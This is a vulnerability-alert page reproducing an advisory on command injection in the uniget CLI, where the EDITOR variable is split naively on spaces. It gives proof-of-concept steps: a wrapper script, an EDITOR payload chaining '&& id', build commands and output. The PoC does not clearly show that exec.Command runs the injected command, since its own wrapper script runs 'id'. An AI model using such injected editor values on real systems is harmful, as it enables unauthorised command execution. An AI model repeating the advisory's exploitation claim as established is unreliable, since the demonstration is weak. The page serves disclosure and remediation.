GHSA-qmcq-xw74-w667: Command Injection

Published Aug 17, 2026
·
Updated

Summary The uniget CLI has a command injection vulnerability in hooks.go line 199 where strings.Split(editor, " ") naively parses the EDITOR environment variable without respecting shell syntax. An attacker can set EDITOR="/path/to/wrapper && id && echo" which gets split into separate arguments, allowing the wrapper script to execute arbitrary commands like id. This was successfully exploited to execute uid=1000(w4nn4d13), confirming code execution is possible. The vulnerability affects hook editing and breaks configurations with modern editors like VSCode.

Vulnerable Code: editorWithArgs := strings.Split(editor, " ")

Location Context: editor := os.Getenv("UNIGETEDITOR") if len(editor) == 0 { editor = os.Getenv("EDITOR") } editorWithArgs := strings.Split(editor, " ") // ← VULNERABLE command := exec.Command(editorWithArgs[0], editorWithArgs[1:]...) Issue: Naive space-splitting allows injection. EDITOR="script && id && echo" splits into ["script", "&&", "id", "&&", "echo"] enabling command execution.

Step to Reproduce

Step 1: Create malicious editor wrapper mkdir -p /tmp/poc-editor cat > /tmp/poc-editor/editorwrapper.sh << 'EOF' #!/bin/bash echo "[EDITOR] Received args: $@" id EOF chmod +x /tmp/poc-editor/editorwrapper.sh

Step 2: Create test hook mkdir -p ~/.config/uniget/hooks/pre-install cat > ~/.config/uniget/hooks/pre-install/test.sh << 'EOF' #!/bin/bash echo "Test hook" EOF chmod 700 ~/.config/uniget/hooks/pre-install/test.sh Step 3: Set injection payload export EDITOR="/tmp/poc-editor/editorwrapper.sh && id && echo"

Step 4: Run vulnerable code cd /home/w4nn4d13/Downloads/cli go build -o uniget ./cmd/uniget ./uniget hooks edit --type=pre-install test.sh Step 5: Observe output [EDITOR] Received args: && id && echo /path/to/hook uid=1000(w4nn4d13) gid=1000(w4nn4d13) groups=1000(w4nn4d13),65534(nfsnobody)

<img width="1017" height="449" alt="image" src="https://github.com/user-attachments/assets/9c72ea0c-fa08-46cd-a9cb-098942a488ce" />

Affected Software

1 affected componentFixes available
go/gitlab.com/uniget-org/cli<0.27.6
0.27.6

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade go/gitlab.com/uniget-org/cli to a version that resolves this vulnerability.

    Fixed in 0.27.6

Event History

Aug 17, 2026
Advisory Published
via GitHub·05:46 PM
Data Sourced
via GitHub·05:46 PM
DescriptionWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of GHSA-qmcq-xw74-w667?

The severity of GHSA-qmcq-xw74-w667 is rated at 76.

2

What is the nature of the vulnerability in GHSA-qmcq-xw74-w667?

GHSA-qmcq-xw74-w667 describes a command injection vulnerability in the uniget CLI.

3

How do I fix GHSA-qmcq-xw74-w667?

To fix GHSA-qmcq-xw74-w667, update the uniget CLI to version 0.27.6 or later.

4

What components are affected by GHSA-qmcq-xw74-w667?

The uniget CLI is the affected component in GHSA-qmcq-xw74-w667.

5

When was GHSA-qmcq-xw74-w667 published?

GHSA-qmcq-xw74-w667 was published on August 17, 2026.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203